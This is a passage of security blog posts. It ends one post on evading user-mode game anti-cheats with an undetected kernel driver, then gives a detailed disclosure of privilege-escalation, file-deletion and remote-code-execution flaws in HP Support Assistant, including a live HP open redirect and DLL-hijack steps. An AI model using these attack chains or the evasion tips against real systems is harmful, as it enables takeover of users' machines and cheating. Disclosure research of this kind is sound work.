If I haven't yet convinced you that user-mode anti-cheats are easy to circumvent, it gets better. On all of the user-mode anti-cheats I tested test signing was permitted, allowing for essentially any driver to be loaded, including ones you create.

If we go back to our scope, drivers really only have a few detection vectors:

  1. User-mode anti-cheats can utilize NtQuerySystemInformation to get basic information on kernel modules. Specifically, the anti-cheat can obtain the kernel base address, the module size, the path of the driver, and a few other properties. You can view exactly what's returned in the definition of RTL_PROCESS_MODULE_INFORMATION. This can be circumvented by basic security practices such as ensuring the data returned in RTL_PROCESS_MODULE_INFORMATION is unique or by modifying the anti-cheat's integrity level.
  2. User-mode anti-cheats can query the filesystem to obtain the driver contents. This can be circumvented by changing the security descriptor of the driver.
  3. User-mode anti-cheats can hunt for information leaks by your driver (such as using a blacklisted device name) to identify it. This can be circumvented by designing your driver to be secure by design (unlike many of these anti-cheats).

Circumventing the above checks will result in an undetected kernel driver. The information leak prevention can be difficult, however, if you know what you're doing, you should understand what APIs may leak certain information accessible by these anti-cheats.

I hope I have taught you something new about combating user-mode anti-cheats and demystified their capabilities. User-mode anti-cheats come with the benefit of having a less invasive product that doesn't infringe on the privacy of players, but at the same time are incredibly weak and limited. They can appear scary at first, given their usual advantage in detecting "internal" cheaters, but we must realize how weak their position truly is. Unprivileged processes are as the name suggests unprivileged. Stop wasting time treating these products as any sort of challenge, use the operating system's security controls to your advantage. User-mode anti-cheats have already lost, quit acting like they're any stronger than they really are.

Several Critical Vulnerabilities on most HP machines running Windows

3 April 2020 at 12:31
Several Critical Vulnerabilities on most HP machines running Windows

I always have considered bloatware a unique attack surface. Instead of the vulnerability being introduced by the operating system, it is introduced by the manufacturer that you bought your machine from. More tech-savvy folk might take the initiative and remove the annoying software that came with their machine, but will an average consumer? Pre-installed bloatware is the most interesting, because it provides a new attack surface impacting a significant number of users who leave the software on their machines.

For the past year, I've been researching bloatware created by popular computer manufacturers such as Dell and Lenovo. Some of the vulnerabilities I have published include the Remote Code Execution and the Local Privilege Escalation vulnerability I found in Dell's own pre-installed bloatware. More often then not, I have found that this class of software has little-to-no security oversight, leading to poor code quality and a significant amount of security issues.

In this blog post, we'll be looking at HP Support Assistant which is "pre-installed on HP computers sold after October 2012, running Windows 7, Windows 8, or Windows 10 operating systems". We'll be walking through several vulnerabilities taking a close look at discovering and exploiting them.

General Discovery

Before being able to understand how each vulnerability works, we need to understand how HP Support Assistant works on a conceptual level. This section will document the background knowledge needed to understand every vulnerability in this report except for the Remote Code Execution vulnerability.

Opening a few of the binaries in dnSpy revealed that they were "packed" by SmartAssembly. This is an ineffective attempt at security through obscurity as de4dot quickly deobfuscated the binaries.

On start, HP Support Assistant will begin hosting a "service interface" which exposes over 250 different functions to the client. This contract interface is exposed by a WCF Net Named Pipe for access on the local system. In order for a client to connect to the interface, the client creates a connection to the interface by connecting to the pipe net.pipe://localhost/HPSupportSolutionsFramework/HPSA.

This is not the only pipe created. Before a client can call on any of the useful methods in the contract interface, it must be "validated". The client does this by calling on the interface method StartClientSession with a random string as the first argument. The service will take this random string and start two new pipes for that client.

The first pipe is called \\.\pipe\Send_HPSA_[random string] and the second is called \\.\pipe\Receive_HPSA_[random string]. As the names imply, HP uses two different pipes for sending and receiving messages.

After creating the pipes, the client will send the string "Validate" to the service. When the service receives any message over the pipe except "close", it will automatically validate the client – regardless of the message contents ("abcd" will still cause validation).

The service starts by obtaining the process ID of the process it is communicating with using GetNamedPipeClientProcessId on the pipe handle. The service then grabs the full image file name of the process for verification.

The first piece of verification is to ensure that the "main module" property of the C# Process object equals the image name returned by GetProcessImageFileName.

The second verification checks that the process file is not only signed, but the subject of its certificate contains hewlett-packard, hewlett packard, or o=hp inc.

Several Critical Vulnerabilities on most HP machines running Windows

The next verification checks the process image file name for the following:

  1. The process path is "rooted" (not a relative path).
  2. The path does not start with \.
  3. The path does not contain ...
  4. The path does not contain .\.
  5. The path is not a reparse or junction point.
Several Critical Vulnerabilities on most HP machines running Windows

The last piece of client verification is checking that each parent process passes the previous verification steps AND starts with:

  1. C:\Program Files[ (x86)]
  2. C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\
  3. C:\Program Files[ (x86)]\Hewlett Packard\HP Support Solutions\
  4. or C:\Windows (excluding C:\Windows\Temp)

If you pass all of these checks, then your "client session" is added to a list of valid clients. A 4-byte integer is generated as a "client ID" which is returned to the client. The client can obtain the required token for calling protected methods by calling the interface method GetClientToken and passing the client ID it received earlier.

One extra check done is on the process file name. If the process file name is either:

  1. C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\HPSF.exe
  2. C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\Resources\ProductConfig.exe
  3. C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\Resources\HPSFViewer.exe

Then your token is added to a list of "trusted tokens". Using this token, the client can now call certain protected methods.

Before we head into the next section, there is another key design concept important to understanding almost all of the vulnerabilities. In most of the "service methods", the service often accepts several parameters about an "action" to take via a structure called the ActionItemBase. This structure has several pre-defined properties for a variety of methods that is set by the client. Anytime you see a reference to an "action item base property", understand that this property is under the complete control of an attacker.

In the following sections, we’ll be looking at several vulnerabilities found and the individual discovery/exploitation process for each one.

General Exploitation

Before getting into specific exploits, being able to call protected service methods is our number one priority. Most functions in the WCF Service are "protected", which means we will need to be able to call these functions to maximize the potential attack surface. Let’s take a look at some of the mitigations discussed above and how we can bypass them.

A real issue for HP is that the product is insecure by design. There are mitigations which I think serve a purpose, such as the integrity checks mentioned in the previous section, but HP is really fighting a battle they’ve already lost. This is because core components, such as the HP Web Product Detection rely on access to the service and run in an unprivileged context. The fact is, the current way the HP Service is designed, the service must be able to receive messages from unprivileged processes. There will always be a way to talk to the service as long as unprivileged processes are able to talk to the service.

The first choice I made is adding the HP.SupportFramework.ServiceManager.dll binary as a reference to my C# proof-of-concept payload because rewriting the entire client portion of the service would be a significant waste of time. There were no real checks in the binary itself and even if there were, it wouldn't have matter because it was a client-side DLL I controlled. The important checks are on the "server" or service side which handles incoming client connections.

The first important check to bypass is the second one where the service checks that our binary is signed by an HP certificate. This is simple to bypass because we can just fake being an HP binary. There are many ways to do this (i.e Process Doppleganging), but the route I took was starting a signed HP binary suspended and then injecting my malicious C# DLL. This gave me the context of being from an HP Program because I started the signed binary at its real path (in Program Files x86, etc).

To bypass the checks on the parent processes of the connecting client process, I opened a PROCESS_CREATE_PROCESS handle to the Windows Explorer process and used the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to spoof the parent process.

Feel free to look at the other mitigations, this method bypasses all of them maximizing the attack surface of the service.

Local Privilege Escalation Vulnerabilities

Discovery: Local Privilege Escalation #1 to #3

Before getting into exploitation, we need to review context required to understand each vulnerability.

Let’s start with the protected service method named InstallSoftPaq. I don’t really know what "SoftPaq" stands for, maybe software package? Regardless, this method is used to install HP updates and software.

Several Critical Vulnerabilities on most HP machines running Windows

The method takes three arguments. First is an ActionItemBase object which specifies several details about what to install. Second is an integer which specifies the timeout for the installer that is going to be launched. Third is a Boolean indicating whether or not to install directly, it has little to no purpose because the service method uses the ActionItemBase to decide if it's installing directly.

The method begins by checking whether or not the action item base ExecutableName property is empty. If it is, the executable name will be resolved by concatenating both the action item base SPName property and .exe.

If the action item base property SilentInstallString is not empty, it will take a different route for executing the installer. This method is assumed to be the "silent install" method whereas the other one is a direct installer.

Silent Install

Several Critical Vulnerabilities on most HP machines running Windows

When installing silently, the service will first check if an Extract.exe exists in C:\Windows\TEMP. If the file does exist, it compares the length of the file with a trusted Extract binary inside HP's installation directory. If the lengths do not match, the service will copy the correct Extract binary to the temporary directory.

Several Critical Vulnerabilities on most HP machines running Windows

The method will then check to make sure that C:\Windows\TEMP + the action item base property ExecutableName exists as a file. If the file does exist, the method will ensure that the file is signed by HP (see General Discovery for a detailed description of the verification).

Several Critical Vulnerabilities on most HP machines running Windows

If the SilentInstallString property of the action item base contains the SPName property + .exe, the current directory for the new process will be the temporary directory. Otherwise, the method will set the current directory for the new process to C:\swsetup\ + the ExecutableName property.

Furthermore, if the latter, the service will start the previously copied Extract.exe binary and attempt to extract the download into current directory + the ExecutableName property after stripping .exe from the string. If the extraction folder already exists, it is deleted before execution. When the Extract.exe binary has finished executing, the sub-method will return true. If the extraction method returns false, typically due to an exception that occurred, the download is stopped in its tracks.

Several Critical Vulnerabilities on most HP machines running Windows

After determining the working directory and extracting the download if necessary, the method splits the SilentInstallString property into an array using a double quote as the delimiter.

If the silent install split array has a length less than 2, the installation is stopped in its tracks with an error indicating that the silent install string is invalid. Otherwise, the method will check if the second element (index 1) of the split array contains .exe, .msi, or .cmd. If it does not, the installation is stopped.

The method will then take the second element and concatenate it with the previously resolved current directory + the executable name with .exe stripped + \ + the second element. For example, if the second element was cat.exe and the executable name property was cats, the resolved path would be the current directory + \cats\cat.exe. If this resolved path does not exist, the installation stops.

If you passed the previous checks and the resolved path exists, the binary pointed to by the resolved path is executed. The arguments passed to the binary is the silent install string, however, the resolved path is removed from it. The installation timeout (minutes) is dictated by the second argument passed to InstallSoftPaq.

After the binary has finished executing or been terminated for passing the timeout period, the method returns the status of the execution and ends.

Direct Install

When no silent install string is provided, a method named StartInstallSoftpaqsDirectly is executed.

The method will then check to make sure that the result of the Path.Combine method with C:\Windows\TEMP and the action item base property ExecutableName as arguments exists as a file. If the file does not exist, the method stops and returns with a failure. If the file does exist, the method will ensure that the file is signed by HP (see General Discovery for a detailed description of the verification).

The method will then create a new scheduled task for the current time. The task is set to be executed by the Administrators group and if an Administrator is logged in, the specified program is executed immediately.

Exploitation: Local Privilege Escalation #1 to #3

Local Privilege Escalation #1

The first simple vulnerability causing Local Privilege Escalation is in the silent install route of the exposed service method named InstallSoftPaq. Quoting the discovery portion of this section,

When installing silently, the service will first check if an Extract.exe exists in C:\Windows\TEMP. If the file does exist, it compares the length of the file with a trusted Extract binary inside HP's installation directory. If the lengths do not match, the service will copy the correct Extract binary to the temporary directory.

This is where the bug lies. Unprivileged users can write to C:\Windows\TEMP, but cannot enumerate the directory (thanks Matt Graeber!). This allows an unprivileged attacker to write a malicious binary named Extract.exe to C:\Windows\TEMP, appending enough NULL bytes to match the size of the actual Extract.exe in HP's installation directory.

Here are the requirements of the attacker-supplied action item base:

  1. The action item base property SilentInstallString must be defined to something other than an empty string.
  2. The temporary path (C:\Windows\TEMP) + the action item base property ExecutableName must be a real file.
  3. This file must also be signed by HP.
  4. The action item base property SilentInstallString must not contain the value of the property SPName + .exe.

If these requirements are passed, when the method attempts to start the extractor, it will start our malicious binary as NT AUTHORITY\SYSTEM achieving Local Privilege Escalation.

Local Privilege Escalation #2

The second Local Privilege Escalation vulnerability again lies in the silent install route of the exposed service method named InstallSoftPaq. Let’s review what requirements we need to pass in order to have the method start our malicious binary.

  1. The action item base property SilentInstallString must be defined to something other than an empty string.
  2. The temporary path (C:\Windows\TEMP) + the action item base property ExecutableName must be a real file.
  3. This file must also be signed by HP.
  4. If the SPName property + .exe is in the SilentInstallString property, the current directory is C:\Windows\TEMP. Otherwise, the current directory is C:\swsetup\ + the ExecutableName property with .exe stripped. The resulting path does not need to exist.
  5. The action item base property SilentInstallString must have at least one double quote.
  6. The action item base property SilentInstallString must have a valid executable name after the first double quote (i.e a valid value could be something"cat.exe). This executable name is the "binary name".
  7. The binary name must contain .exe or .msi.
  8. The file at current directory + \ + the binary name must exist.

If all of these requirements are passed, the method will execute the binary at current directory + \ + binary name.

The eye-catching part about these requirements is that we can cause the "current directory", where the binary gets executed, to be in a directory path that can be created with low privileges. Any user is able to create folders in the C:\ directory, therefore, we can create the path C:\swsetup and have the current directory be that.

We need to make sure not to forget that the executable name has .exe stripped from it and this directory is created within C:\swsetup. For example, if we pass the executable name as dog.exe, we can have the current directory be C:\swsetup\dog. The only requirement if we go this route is that the same executable name exists in C:\Windows\TEMP. Since unprivileged users can write into the C:\Windows\TEMP directory, we simply can write a dog.exe into the directory and pass the first few checks. The best part is, the binary in the temp directory does not need to be the same binary in the C:\swsetup\dog directory. This means we can place a signed HP binary in the temp directory and a malicious binary in our swsetup directory.

A side-effect of having swsetup as our current directory is that the method will first try to "extract" the file in question. In the process of extracting the file, the method first checks if the swsetup directory exists. If it does, it deletes it. This is perfect for us, because we can easily tell when the function is almost at executing allowing us to quickly copy the malicious binary after re-creating the directory.

After extraction is attempted and after we place our malicious binary, the method will grab the filename to execute by grabbing the string after the first double quote character in the SilentInstallString parameter. This means if we set the parameter to be a"BadBinary.exe, the complete path for execution will be the current directory + BadBinary.exe. Since our current directory is C:\swsetup\dog, the complete path to the malicious binary becomes C:\swsetup\dog\BadBinary.exe. The only check on the file specified after the double quote is that it exists, there are no signature checks.

Once the final path is determined, the method starts the binary. For us, this means our malicious binary is executed.
To review the example above:

  1. We place a signed HP binary named dog.exe in C:\Windows\TEMP.
  2. We create the directory chain C:\swsetup\dog.
  3. We pass in an action item base with the ExecutableName property set to dog.exe, the SPName property set to anything but BadBinary, and the SilentInstallString property set to a"BadBinary.exe.
  4. We monitor the C:\swsetup\dog directory until it is deleted.
  5. Once we detect that the dog folder is deleted, we immediately recreate it and copy in our BadBinary.exe.
  6. Our BadBinary.exe gets executed with SYSTEM permissions.

Local Privilege Escalation #3

The next Local Privilege Escalation vulnerability is accessible by both the previous protected method InstallSoftpaq and InstallSoftpaqDirectly. This exploit lies in the previously mentioned direct install method.

This method starts off similarly to its silent install counterpart by concatenating C:\Windows\TEMP and the action item base ExecutableName property. Again similarly, the method will verify that the path specified is a binary signed by HP. The mildly interesting difference here is that instead of doing an unsafe concatenation operation by just adding the two strings using the + operator, the method uses Path.Combine, the safe way to concatenate path strings.

Path.Combine is significantly safer than just adding two path strings because it checks for invalid characters and will throw an exception if one is detected, halting most path manipulation attacks.

Several Critical Vulnerabilities on most HP machines running Windows

What this means for us as an attacker is that our ExecutableName property cannot escape the C:\Windows\TEMP directory, because / is one of the blacklisted characters.

This isn’t a problem, because unprivileged processes CAN write directly to C:\Windows\TEMP. This means we can place a binary to run right into the TEMP directory and have this method eventually execute it. Here’s the small issue with that, the HP Certificate check.

How do we get past that? We can place a legitimate HP binary into the temporary directory for execution, but we need to somehow hijack its context. In the beginning of this report, we outlined how we can enter the context of a signed HP binary by injecting into it, this isn’t exactly possible here because the service is the one creating the process. What we CAN do is some simple DLL Hijacking.

DLL Hijacking means we place a dynamically loaded library that is imported by the binary into the current directory of the signed binary. One of the first locations Windows searches when loading a dynamically linked library is the current directory. When the signed binary attempts to load that library, it will load our malicious DLL and give us the ability to execute in its context.

I picked at random from the abundant supply of signed HP binaries. For this attack, I went with HPWPD.exe which is HP’s "Web Products Detection" binary. A simple way to find a candidate DLL to hijack is by finding the libraries that are missing. How do we find "missing" dynamically loaded libraries? Procmon to the rescue!

Using three simple filters and then running the binary, we’re able to easily determine a missing library.

Several Critical Vulnerabilities on most HP machines running Windows
Several Critical Vulnerabilities on most HP machines running Windows

Now we have a few candidates here. C:\VM is the directory where the binary resides on my test virtual machine. Since the first path is not in the current directory, we can disregard that. From there on, we can see plenty of options. Each one of those CreateFile operations usually mean that the binary was attempting to load a dynamically linked library and was checking the current directory for it. For attacking purposes, I went with RichEd20.dll just because it's the first one I saw.

To perform this Local Privilege Escalation attack, all we have to do is write a malicious DLL, name it RichEd20.dll, and stick it with the binary in C:\Windows\TEMP. Once we call the direct install method passing the HPWPD.exe binary as the ExecutableName property, the method will start it as the SYSTEM user and then the binary will load our malicious DLL escalating our privileges.

Discovery: Local Privilege Escalation #4

The next protected service method to look at is DownloadSoftPaq.

To start with, this method takes in an action item base, a String parameter called MD5URL, and a Boolean indicating whether or not this is a manual installation. As an attacker, we control all three of these parameters.

Several Critical Vulnerabilities on most HP machines running Windows

If we pass in true for the parameter isManualInstall AND the action item base property UrlResultUI is not empty, we’ll use this as the download URL. Otherwise, we’ll use the action item base property UrlResult as the download URL. If the download URL does not start with http, the method will force the download URL to be http://.

Several Critical Vulnerabilities on most HP machines running Windows

This is an interesting check. The method will make sure that the Host of the specified download URL ends with either .hp.com OR .hpicorp.net. If this Boolean is false, the download will not continue.

Another check is making a HEAD request to the download URL and ensuring the response header Content-Length is greater than 0. If an invalid content length header is returned, the download won’t continue.

The location of the download is the combination of C:\Windows\TEMP and the action item base ExecutableName property. The method does not use safe path concatenation and instead uses raw string concatenation. After verifying that there is internet connection, the content length of the download URL is greater than 0, and the URL is "valid", the download is initiated.

If the action item base ActionType property is equal to "PrinterDriver", the method makes sure the downloaded file’s MD5 hash equals that specified in the CheckSum property or the one obtained from HP’s CDN server.

Several Critical Vulnerabilities on most HP machines running Windows
Several Critical Vulnerabilities on most HP machines running Windows

After the file has completed downloading, the final verification step is done. The VerifyDownloadSignature method will check if the downloaded file is signed. If the file is not signed and the shouldDelete argument is true, the method will delete the downloaded file and return that the download failed.

Exploitation: Local Privilege Escalation #4

Let’s say I wanted to abuse DownloadSoftPaq to download my file to anywhere in the system, how could I do this?

Let’s take things one at a time, starting with the first challenge, the download URL. Now the only real check done on this URL is making sure the host of the URL http://[this part]/something ENDS with .hp.com or .hpicorp.net. As seen in the screenshot of this check above, the method takes the safe approach of using C#’s URI class and grabbing the host from there instead of trying to parse it out itself. This means unless we can find a "zero day" in C#’s parsing of host names, we’ll need to approach the problem a different way.

Okay, so our download URL really does need to end with an HP domain. DNS Hijacking could be an option, but since we’re going after a Local Privilege Escalation bug, that would be pretty lame. How about this… C# automatically follows redirects, so what if we found an open redirect bug in any of the million HP websites? Time to use one of my "tricks" of getting a web bug primitive.

Sometimes I need a basic exploit primitive like an open redirect vulnerability or a cross site scripting vulnerability but I’m not really in the mood to pentest, what can I do? Let me introduce you to a best friend for an attacker, "OpenBugBounty"! OpenBugBounty is a site where random researchers can submit web bugs about any website. OpenBugBounty will take these reports and attempt to email several security emails at the vulnerable domain to report the issue. After 90 days from the date of submission, these reports are made public.

So I need an open redirect primitive, how can I use OpenBugBounty to find one? Google it!

Several Critical Vulnerabilities on most HP machines running Windows

Nice, we got a few options, let’s look at the first one.

Several Critical Vulnerabilities on most HP machines running Windows

An unpatched bug, just what we wanted. We can test the open redirect vulnerability by going to a URL like https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com and landing on Google, thanks TvM and HP negligence (it's been 5 months since I re-reported this open redirect bug and it's still unpatched)!

Back to the method, this open redirect bug is on the host ers.rssx.hp.com which does end in .hp.com making it a perfect candidate for an attack. We can redirect to our own web server where the file is stored to make the method download any file we want.

The next barrier is being able to place the file where we want. This is pretty simple, because HP didn’t do safe path string concatenation. We can just set the action item base ExecutableName property to be a relative path such as ../../something allowing us to easily control the download location.

We don’t have to worry about MD5 verification if we just pass something other than "PrinterDriver" for the ActionType property.

The final check is the verification of the downloaded file’s signature. Let’s quickly look review the method.

Several Critical Vulnerabilities on most HP machines running Windows
Several Critical Vulnerabilities on most HP machines running Windows
If the file is not signed and the shouldDelete argument is true, the method will delete the downloaded file and return that the download failed.

The shouldDelete argument is the first argument passed to the VerifyDownloadSignature method. I didn’t want to spoil it in discovery, but this is hilarious because as you can see in the picture above, the first argument to VerifyDownloadSignature is always false. This means that even if the downloaded file fails signature verification, since shouldDelete is always false, the file won’t be deleted. I really don’t know how to explain this one… did an HP Developer just have a brain fart? Whatever the reason, it made my life a whole lot easier.

At the end of the day, we can place any file anywhere we want in the context of a SYSTEM process allowing for escalation of privileges.

Discovery: Local Privilege Escalation #5

The next protected method we’ll be looking at is CreateInstantTask. For our purposes, this is a pretty simple function to review.

The method takes in three arguments. The String parameter updatePath which represents the path to the update binary, the name of the update, and the arguments to pass to the update binary.

The first verification step is checking the path of the update binary.

Several Critical Vulnerabilities on most HP machines running Windows

This verification method will first ensure that the update path is an absolute path that does not lead to a junction or reparse point. Good job on HP for checking this.

The next check is that the update path "starts with" a whitelisted base path. For my 64-bit machine, MainAppPath expands to C:\Program Files (x86)\Hewlett Packard\HP Support Framework and FrameworkPath expands to C:\Program Files (x86)\Hewlett Packard\HP Support Solutions.

What this check essentially means is that since our path has to be absolute AND it must start with a path to HP’s Program Files directory. The update path must actually be in their installation folder.

The final verification step is ensuring that the update path points to a binary signed by HP.

If all of these checks pass, the method creates a Task Scheduler task to be executed immediately by an Administrator. If any Administrator is logged on, the binary is immediately executed.

Exploitation: Local Privilege Escalation #5

A tricky one. Our update path must be something in HP’s folders, but what could that be? This stumped me for a while, but I got a spark of an idea while brainstorming.

We have the ability to start ANY program in HP’s installation folder with ANY arguments, interesting. What types of binaries does HP’s installation folders have? Are any of them interesting?

I found a few interesting binaries in the whitelisted directories such as Extract.exe and unzip.exe. On older versions, we could use unzip.exe, but a new update implements a signature check. Extract.exe didn’t even work when I tried to use it normally. I peeked at several binaries in dnSpy and I found an interesting one, HPSF_Utils.exe.

When the binary was started with the argument "encrypt" or "decrypt", the method below would be executed.

Several Critical Vulnerabilities on most HP machines running Windows

If we passed "encrypt" as the first argument, the method would take the second argument, read it in and encrypt it, then write it to the file specified at the third argument. If we passed "decrypt", it would do the same thing except read in an encrypted file and write the decrypted version to the third argument path.

If you haven’t caught on to why this is useful, the reason it’s so useful is because we can abuse the decrypt functionality to write our malicious file to anywhere in the system, easily allowing us to escalate privileges. Since this binary is in the whitelisted path, we can execute it and abuse it to gain Administrator because we can write anything to anywhere.

Arbitrary File Deletion Vulnerabilities

Discovery: Arbitrary File Deletion

Let’s start with some arbitrary file deletion vulnerabilities. Although file deletion probably won’t lead to Local Privilege Escalation, I felt that it was serious enough to report because I could seriously mess up a victim’s machine by abusing HP’s software.

The protected method we’ll be looking at is LogSoftPaqResults. This method is very short for our purposes, all we need to read are the first few lines.

Several Critical Vulnerabilities on most HP machines running Windows

When the method is called, it will combine the temporary path C:\Windows\TEMP and the ExecutableName from the untrusted action item base using an unsafe string concatenation. If the file at this path exists AND it is not signed by HP, it will go ahead and delete it.

Exploitation: Arbitrary File Deletion #1

This is a pretty simple bug. Since HP uses unsafe string concatenation on path strings, we can just escape out of the C:\Windows\TEMP directory via relative path escapes (i.e ../) to reach any file we want.

If that file exists and isn’t signed by HP, the method which is running in the context of a SYSTEM process will delete that file. This is pretty serious because imagine if I ran this on the entirety of your system32 folder. That would definitely not be good for your computer.

Exploitation: Arbitrary File Deletion #2

This bug was even simpler than the last one, so I decided not to create a dedicated discovery section. Let’s jump into the past and look at the protected method UncompressCabFile.
When the method starts, as we reviewed before, the following is checked:

  1. cabFilePath (path to the cabinet file to extract) exists.
  2. cabFilePath is signed by HP.
  3. Our token is "trusted" and the cabFilePath contains a few pre-defined paths.

If these conditions are not met, the method will delete the file specified by cabFilePath.

If we want to delete a file, all we need to do is specify pretty much any path in the cabFilePath argument and let the method delete it while running as the SYSTEM user.

Remote Code Execution Vulnerability

Discovery

For most of this report we’ve reviewed vulnerabilities inside the HP service. In this section, we’ll explore a different HP binary. The methods reviewed in "General Exploitation" will not apply to this bug.

When I was looking for attack surfaces for Remote Code Execution, one of the first things I checked was for registered URL Protocols. Although I could find these manually in regedit, I opted to use the tool URLProtocolView. This neat tool will allow us to easily enumerate the existing registered URL Protocols and what command line they execute.

Scrolling down to "hp" after sorting by name showed quite a few options.

Several Critical Vulnerabilities on most HP machines running Windows

The first one looked mildly interesting because the product name of the binary was "HP Download and Install Assistant", could this assist me in achieving Remote Code Execution? Let’s pop it open in dnSpy.

The first thing the program does is throw the passed command line arguments into its custom argument parser. Here are the arguments we can pass into this program:

  1. remotefile = The URL of a remote file to download.
  2. filetitle = The name of the file downloaded.
  3. source = The "launch point" or the source of the launch.
  4. caller = The calling process name.
  5. cc = The country used for localization.
  6. lc = The language used for localization.

After parsing out the arguments, the program starts creating a "download request". The method will read the download history to see if the file was already downloaded. If it wasn’t downloaded before, the method adds the download request into the download requests XML file.

After creating the request, the program will "process" the XML data from the history file. For every pending download request, the method will create a downloader.

During this creation is when the first integrity checks are done. The constructor for the downloader first extracts the filename specified in the remotefile argument. It parses the name out by finding the last index of the character / in the remotefile argument and then taking the substring starting from that index to the end of the string. For example, if we passed in https://example.com/test.txt for the remote file, the method would parse out text.txt.

If the file name contains a period, verification on the extension begins. First, the method parses the file extension by getting everything after the last period in the name. If the extension is exe, msi, msp, msu, or p2 then the download is marked as an installer. Otherwise, the extension must be one of 70 other whitelisted extensions. If the extension is not one of those, the download is cancelled.

After verifying the file extension, the complete file path is created.

Several Critical Vulnerabilities on most HP machines running Windows

First, if the lc argument is ar (Arabic), he (Hebrew), ru (Russian), zh (Chinese), ko (Korean), th (Thai), or ja (Japanese), your file name is just the name extracted from the URL. Otherwise, your file name is the filetitle argument, , and the file name from the URL combined. Finally, the method will replace any invalid characters present in Path.GetInvalidFileNameChars with a space.

This sanitized file name is then combined with the current user's download folder + HP Downloads.

The next relevant step is for the download to begin, this is where the second integrity check is. First, the remote file URL argument must begin with https. Next, a URI object is created for the remote file URL. The host of this URI must end with .hp.com or end with .hpicorp.net. Only if these checks are passed is the download started.

Once the download has finished, another check is done. Before the download is marked as downloaded, the program verifies the downloaded content. This is done by first checking if the download is an installer, which was set during the file name parsing stage. If the download is an installer then the method will verify the certificate of the downloaded file. If the file is not an installer, no check is done.

Several Critical Vulnerabilities on most HP machines running Windows

The first step of verifying the certificate of the file is to check that it matches the binary. The method does this by calling WinVerifyTrust on the binary. The method does not care if the certificate is revoked. The next check is extracting the subject of the certificate. This subject field must contain in any case hewlett-packard, hewlett packard, or o=hp inc.

When the client presses the open or install button on the form, this same check is done again, and then the file is started using C#’s Process.Start. There are no arguments passed.

Exploitation

There are several ways to approaching exploiting this program. In the next sections, I’ll be showing different variants of attacking and the pros/cons of each one. Let’s start by bypassing a check we need to get past for any variant, the URL check.

As we just reviewed, the remote URL passed must have a host that ends with .hp.com or .hpicorp.net. This is tricky because the verification method uses the safe and secure way of verifying the URL’s host by first using C#’s URI parser. Our host will really need to contain .hp.com or .hpicorp.net.

A previous vulnerability in this report had the same issue. If you haven't read that section, I would highly recommend it to understand where we got this magical open redirect vulnerability in one of HP's websites: https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com.

Back to the verification method, this open redirect bug is on the host ers.rssx.hp.com which does end in .hp.com making it a perfect candidate for an attack. We can redirect to our own web server where we can host any file we want.

This sums up the "general" exploitation portion of the Remote Code Execution bugs. Let’s get into the individual ones.

Remote Code Execution Variant #1

The first way I would approach this seeing what type of file we can have our victim download without the HP program thinking it’s an installer. Only if it’s an installer will the program verify its signature.

Looking at the whitelisted file extensions, we don’t have that much to work with, but we have some options. One whitelisted option is zip, this could work. An ideal attack scenario would be a website telling you need a critical update, the downloader suddenly popping up with the HP logo, the victim pressing open on the zip file and executing a binary inside it.

To have a valid remote file URL, we will need to abuse the open redirect bug. I put my bad file on my web server and just put the URL to the zip file at the end of the open redirect URL.

When the victim visits my malicious website, an iframe with the hpdia:// URL Protocol is loaded and the download begins.

This attack is somewhat lame because it requires two clicks to RCE, but I still think it’s more than a valid attack method since the HP downloader looks pretty legit.

Remote Code Execution Variant #2

My next approach is definitely more interesting then the last. In this method, we first make the program download a DLL file which is NOT an installer, then we install a signed HP binary who depends on this DLL.

Similar to our DLL Hijacking attack in the third Local Privilege Escalation vulnerability, we can use any signed binary which imports a DLL that doesn’t exist. By simply naming our malicious DLL to the missing DLL name, the executed signed program will end up loading our malicious DLL giving us Remote Code Execution.

Here’s the catch. We’re going to have to set the language of the downloader to Arabic, Hebrew, Russian, Chinese, Korean, Thai, or Japanese. The reason is for DLL Hijacking, we need to set our malicious DLL name to exactly that of the missing DLL.

Several Critical Vulnerabilities on most HP machines running Windows

If you recall the CreateLocalFilename method, the actual filename will have in it if the language we pass in through arguments is not one of those languages. If we do pass in a language that’s one of the ones checked for in the function above, the filename will be the filename specified in the remote URL.

If your target victim is in a country where one of these languages is spoken commonly, this is in my opinion the best attack route. Otherwise, it may be a bit of an optimistic approach.

Whenever the victim presses on any of the open or install all buttons, the signed binary will start and load our malicious DLL. If your victim is in an English country or only speaks English, this may be a little more difficult.

You could have the website present a critical update guide telling the visitor what button to press to update their system, but I am not sure if a user is more likely to press a button in a foreign language or open a file in a zip they opened.

At the end of the day, this is a one click only attack method, and it would work phenomenal in a country that uses the mentioned languages. This variant can also be used after detecting the victim’s language and seeing if it’s one of the few languages we can use with this variant. You can see the victim’s language in HTTP headers or just the "navigator language" in javascript.

Remote Code Execution Variant #3

The last variant for achieving remote code execution is a bit optimistic in how much resources the attacker has, but I don’t think it a significant barrier for an APT.

To review, if the extension of the file we’re downloading is considered an installer (see installer extensions in discovery), our binary will be checked for HP’s signature. Let’s take a look at the signature check.

Several Critical Vulnerabilities on most HP machines running Windows

The method takes in a file name and first verifies that it’s a valid certificate. This means a certificate ripped from a legitimate HP binary won’t work because it won’t match the binary. The concerning part is the check for if the certificate is an HP certificate.

To be considered an HP certificate, the subject of the certificate must contain in any case hewlett-packard, hewlett packard, or o=hp inc. This is a pretty inadequate check, especially that lower case conversion. Here are a few example companies I can form that would pass this check:

  1. [something]hewlett PackArd[someting]
  2. HP Inc[something]

I could probably spend days making up company names. All an attacker needs to do is create an organization that contains any of those words and they can get a certificate for that company. Next thing you know, they can have a one click RCE for anyone that has the HP bloatware installed.

Proof of Concept

Local Privilege Escalation Vulnerabilities

Remote Code Execution Vulnerabilities

"Remediation"

HP had their initial patch finished three months after I sent them the report of my findings. When I first heard they were aiming to patch 10 vulnerabilities in such a reasonable time-frame, I was impressed because it appeared like they were being a responsible organization who took security vulnerabilities seriously. This was in contrast to the performance I saw last year with my research into Remote Code Execution in Dell's bloatware where they took 6 months to deliver a patch for a single vulnerability, an absurd amount of time.

In the following section, I'll be going over the vulnerabilities HP did not patch or patched inadequately. Here is an overview of what was actually patched:

  1. Local Privilege Escalation #1 – Patched ✔️
  2. Local Privilege Escalation #2 – Unpatched ❌
  3. Local Privilege Escalation #3 – Unpatched ❌
